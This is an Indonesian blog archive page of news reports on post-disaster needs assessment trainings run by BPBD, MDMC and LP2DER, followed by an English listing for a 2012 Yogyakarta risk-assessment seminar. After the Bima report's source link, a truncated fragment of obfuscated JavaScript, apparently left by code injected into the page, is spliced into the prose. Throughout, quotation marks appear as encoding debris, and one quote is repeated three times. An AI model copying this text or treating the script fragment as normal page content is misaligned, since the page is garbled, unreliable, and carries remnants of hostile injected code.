Author Archives: Asisi Widanto

BPBD Jateng: Ketepatan Bantuan Pasca Bencana Sangat Ditentukan oleh Hasil Jitupasna

PWMJATENG.COM, TEGAL Kepala Bidang rehabilitasi dan rekonstruksi pasca bencana BPBD Provinsi Jawa Tengah, Ir. Arus Horizon, MT menegaskan pentingnya melakukan penilaian atau penghitungan kerusakan dan kerugian akibat bencana. Pernyataan Arus mengemuka dalam diskusi bersama peserta pelatihan fasilitator Jitupasna (pengkajian kebutuhan pasca bencana).

“Kerapkali kita tidak melakukan penghitungan dampak bencana dengan baik sesuai ketentuan yang berlaku dalam Peraturan Kepala BNPB Nomor 15 tahun 2011 tentang pedoman pengkajian kebutuhan pasca bencana. Karena itu kami sangat mengapresiasi langkah MDMC Jateng yang menyelenggarakan acara pelatihan ini,” ungkap Arus yang menjadi fasilitator latih dalam pelatihan yang diselenggarakan di Guci Tegal (11/2/2017). Baca Juga

Selama ini penyelenggaraan penanggulangan bencana masih berfokus pada tanggap darurat semata. Sehingga kerapkali bantuan masyarakat menumpuk pada tahap tanggap darurat. Sementara untuk keperluan bantuan pasca bencana masih jarang yang memberikan perhatian serius. Salah satu peserta Mufliha dari Aisyiyah Tegal mengatakan, “Pelatihan seperti ini sangat menarik karena membuka pengetahuan kita lebih mendalam terkait penanggulangan bencana. Kami dari Aisyiyah merasa beruntung bisa ikut sebagai peserta karena setahu saya urusan ibu-ibu saat bencana hanya jadi petugas dapur umum.”

“Dengan pelatihan ini terbuka pikiran kita bahwa kebutuhan pasca bencana sama pentingnya dengan kebutuhan darurat saat bencana,” imbuh Mufliha yang juga pengurus LLHPB (Lembaga Lingkungan Hidup dan Penanggulangan Bencana) Aisyiyah Tegal.

Arus Horizon, MT: Kerapkali kita tidak melakukan penghitungan dampak bencana dengan baik sesuai ketentuan yang berlaku dalam Peraturan Kepala BNPB Nomor 15 tahun 2011 tentang pedoman pengkajian kebutuhan pasca bencana. Karena itu kami sangat mengapresiasi langkah MDMC Jateng yang menyelenggarakan acara pelatihan ini

Selain membahas perhitungan kerusakan dan kerugian fisik pelatihan ini juga membahas perhitungan terhadap kerugian manusia. Arus Horizon menjelaskan, pengkajian kebutuhan manusia pasca bencana menggunakan metode HRNA (human recovery need assessment).

“Pengkajian meliputi gangguan akses dan gangguan fungsi kehidupan dan penghidupan warga terdampak setelah terjadi bencana. Dengan pengkajian tersebut akan menghasilkan kegiatan- kegiatan pemulihan dan pembangunan manusia kembali seperti kondisi semula atau lebih baik lagi (build back better)”, ungkapnya.

Disinggung soal HRNA, Koordinator Bidang Rehabilitasi dan Rekonstruksi MDMC Jateng, Yocki Asmoro menambahkan, “Pengembangan kajian HRNA kurang mendapatkan perhatian serius padahal faktor manusia sangat penting bagi memulihkan kondisi kehidupan dan penghidupan pasca bencana. Kami ingin Muhammadiyah lebih fokus memikirkan hal ini”, ungkap pria yang lama bergelut di bidang pemberdayaan masyarakat ini. Selain di Tegal, MDMC Jateng berkomitmen menyelenggarakan pelatihan yang sama di Kudus dan Magelang pada bulan Maret mendatang. (Naibul Umam)

Sumber: BPBD Jateng : Ketepatan Bantuan Pasca Bencana Sangat Ditentukan oleh Hasil Jitupasna

BPBD Purworejo Gelar Pelatihan Jitu Pasna

Dalam rangka menyediakan sumber daya manusia yang mampu melaksanakan pengkajian kebutuhan pasca bencana, BPBD Purworejo mengadakan pelatihan Pengkajian Kebutuhan Pasca Bencana (Jitu Pasna), Selasa (21/9). Bertempat di Sanjaya Inn Hotel, pelatihan akan dilaksanakan selama dua hari mulai tanggal 21 hingga 22 September 2016. Sebanyak 30 peserta yang hadir merupakan perwakilan dari kecamatan se Kabupaten Purworejo dan beberapa instansi terkait.

Hadir Wakil Bupati Purworejo yang diwakili Asisten I Sekda Purworejo Drs Murwanto, Kepala BPBD Purworejo Drs Boedi Hardjono, serta tiga orang nara sumber yakni, Ir Arus Horizon MT dari BPBD Provinsi Jawa Tengah, Yuvita Isni Kadratin SE dari BPBD Kabupaten Magelang, dan Rinto dari Pujiono Center For Disaster Resilience Yogyakarta.

Drs Murwanto saat membacakan sambutan Wakil Bupati Purworejo mengatakan, pelaksanaan rehabilitasi dan rekonstruksi yang merupakan salah satu tahapan penting pasca bencana. Kompleksitas dari akibat yang ditimbulkan pasca bencana tentunya membutuhkan data dan perencanaan yang matang dalam penanggulangannya. Hal tersebut dimaksudkan agar penanganan yang dilakukan pasca bencana dapat terlaksana secara baik, terarah dan terpadu.

a�?Harapannya melalui pelatihan ini, para peserta dapat melakukan analisis dampak dan perkiraan kebutuhan yang selanjutnya akan dijadikan sebagai dasar dalam penyusunan relasi rehabilitasi dan rekontruksi. Seperti mengidentifikasi dan menghitung kerusakan dan kerugian baik fisik maupun non fisik yang dialami oleh ekonomi, sosial dan lain sebagainya,a�? katanya.

Ir Arus Horizon MT, Kabid Rehabilitasi dan Rekonstruksi BPBD Provinsi Jawa Tengah menjelaskan, rehabilitasi pasca bencana dapat diartikan memulihkan ketika terjadi bencana. Dalam masa rehabilitasi, perencanaan dilakukan dalam waktu singkat tetapi tidak sampai lewat satu tahun anggaran. Sedangkan rekonstruksi pasca bencana lebih bersifat pembangunan dan dilakukan dalam waktu yang panjang.

a�?Rehabilitasi itu, begitu terjadi bencana, apa yang dibutuhkan oleh masyarakat. Kalau ada yang mengungsi apa kebutuhannya, kalau ada kerusakan apa kebutuhannya. Sedangkan rekonstruksi pasca bencana lebih bersifat pembangunan dan dilakukan dalam waktu yang panjang tetapi tetap ada batas waktunya. Sepanjang-panjangnya sampai tiga tahun. Kalau dananya terbatas ya diberi tahapan. Dananya bisa dari APBD Daerah, APBD Provinsi dan pusat,a�? terang Horizon.

Horizon menambahkan, untuk mendapatkan dana dibutuhkan suatu proposal. Sedangkan kebutuhan yang kita usulkan dalam proposal belum tentu tersedia. Kebutuhan itu menentukan angka dari skala prioritas. Untuk itu menurutnya, diperlukan sebuah plan atau rencana A, B dan C. Ia berharap, setelah mengikuti pelatihan peserta dapat memberikan kontribusi kepada kabupaten dalam bentuk rekomendasi untuk menyusun proposal.

a�?Outputnya, peserta disini akan membuat suatu rekomendasi atau punya bekal didalam menyusun proposal. Tidak hanya untuk ini saja, tetapi kedepanA� kalau ada bencana lagi sudah siap cara menghitung. Sehingga BPBD sebagai leading sektor bencana sudah tinggal melalui SK Bupati, merapatkan, kemudian bergerak dan menghasilkan outputnya dokumen. Dokumen itu bisa untuk usulan ke provinsi maupun ke pusat.

 

Sumber: BPBD Purworejo Gelar Pelatihan Jitu Pasna

LP2DER gelar TOT Pengkajian Kebutuhan Paska Bencana

Thursday, 21 February 2013

Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?

Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?

Bencana menyisakan kerusakan dan kerugian pada asset kehidupan dan penghidupan masyarakat, Pada fase rehabilitasi dan rekonstruksi, yang merupakan bagian dari penyelenggaraan penanggulangan bencana, dilakukan proses penilaian atas kerusakan dan kerugian serta kebutuhan yang bersifat komprehensif menyentuh pada semua aspek. Semuanya dilakukan dengan prinsip dasar membangun yang lebih baik dan pengurangan risiko bencana yang diwujudkan dalam bentuk rencana aksi rehabilitasi dan rekonstruksi pascabencana.

Rangkaian proses penilaian akibat, analisis dampak dan kebutuhan paska bencana dilakukan melalui Pengkajian Kebutuhan Paska Bencana atau Post Disaster Need Assessment (PDNA). Berkaitan dengan hal tersebut, Oxfam dan Lp2der Bima menyelenggarakan Training of Trainer (TOT) PDNA, yang di selenggarakan di Lesehan Putri Kota Bima, 18 a�� 22 Februari 2013, diikuti oleh 23 peserta perwakilan SKPD Kota Bima, Kepala Kelurahan dari Kelurahan Kendo, Ntobo, Nungga dan Kolo, PMI dan OMS. Dipandu oleh 2 orang trainer dari Pujiono Centre Yogyakarta.
Walikota dalam sambutan yang disampaikan oleh Assisten II Setda Kota Bima, Ir. Hj. Rini Indriati, mengatakan, a�?Ancaman bencana dapat hadir secara tiba-tiba, dalam kondisi normal, peningkatan kapasitas masyarakat serta unsur pemerintah dalam penanggulangan bencana dibutuhkan untuk menekan risiko atas ancaman yang adaa�?

Sementara itu, M. Yamin, Koordinator program Lp2der, menambahkan,a�? kajian-kajian untuk kebutuhan paska bencana adalah salah satu bagian penting dalam proses mewujudkan Kota Bima dalam menuju kota tangguh terhadap bencana.a�?

TOT PDNA ini merupakan bagian dari program membangun dan memperdalam ketangguhan masyarakat dan instansi lokal terhadap bencana dan perubahan iklim di Indonesia Timur (Building and Deepening Resilience – BDR) yang di fasilitasi LP2DER dengan dukungan dari lembaga bantuan Internasional Pemerintah Australia (AusAID) melalui Australia-Indonesia Facility for Disaster Reduction (AIFDR) dan European Commission (Uni Eropa) ECHO. (Yoeris)

Sumber:A�http://jompambojo.blogspot.co.id/2013/02/lp2der-gelar-tot-pengkajian-kebutuhan.html d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Inventory of disaster and climate change risk assessment

Type:A�Training Course
Organizer:A�Pujiono Centre for Disaster and Climate Risk Reduction Studies, the (PC)
Date:A�06 Aug 2012
Location:A�Indonesia (Yogyakarta)
Language:A�English

The Seminar mapped out the different risk assessment practices and programs at all disaster phases: in pre-disaster situation, during emergency response, in the post-disaster rehabilitation and reconstruction period as well as far after the recovery timeframe has been completed. Discussions in the seminar were focused on how communities take part in risk assessment processes, how this process interact with the macro risk assessments that are technology-heavy, and how they contribute to the disaster risk reduction planning and implementation after the assessments.

Agenda – Brief introduction on the Landscape of Risk Assessment by Dr. Puji Pujiono – District level Development of Flood Risk Map, Arif Rianto, ST, M.Si. of PSMB UPN Veteran – Village level Self Risk Assessment at Volcanic Eruption Setting, Puji Setiarso of Jangkar Kelud – Community-based Disaster Risk Assessment, Ruhui Eka S. of Lingkar Association – Household Economy Analysis, Puspasari Indra of Oxfam – Knowledge Contestation Against Risk Reduction: Memory and Cultural Approach in understanding peoplea��s resistance to Jesuit Refugee Service (JRS) Indonesia DRR Programme in Kluet, South Aceh, Dedy Kristanto and Saefudin Amsa (PUSDEP Sanata Dharma University) – Indigenous Risk Assessment leading to Adaptation and Mitigation Strategies of Sikep Samin Community to the Effects of Global Warming Adaptation to Paddy farming, Dr. Eko Teguh Paripurno of PSMB UPN Veteran – Climate Change Impact Studies and Programme of UNDP Indonesia, Anton Sri P. of UNDP – National Disaster Risk Assessment Program of the national DM Agency, Lilik Kurniawan of BNPB – Joint Needs Assessment (JNA): Assessing the risk in the first 48 Hours of Disaster Emergency, Puspasari Indra from Oxfam – Multi-Cluster Initial Rapid Assessment (MIRA), by Titi Moektijasih from UN-OCHA – Damage and Loss Assessment (DALA), Magda Adriani of the World Bank – Human Recovery Needs Assessment, Rinto Andriono Pujiono Centre – Longitudinal Study of Post-Merapi Eruption Recovery Process, Juli Nugroho of Yogyakarta DRR Forum

Target audience

Participants were invited from community-based organization from hazard-prone areas, the government, international organizations, UN Agencies, national and local non-government organizations.

View concept note [PDF 412.00 kB]

Keywords

Themes:A�Capacity Development, Climate Change, Community-based DRR, Risk Identification & Assessment, GIS & Mapping, Indigenous Knowledge
Hazards:A�Flood, Volcano
Countries:A�Indonesia

Source:A�http://www.unisdr.org/we/inform/events/27989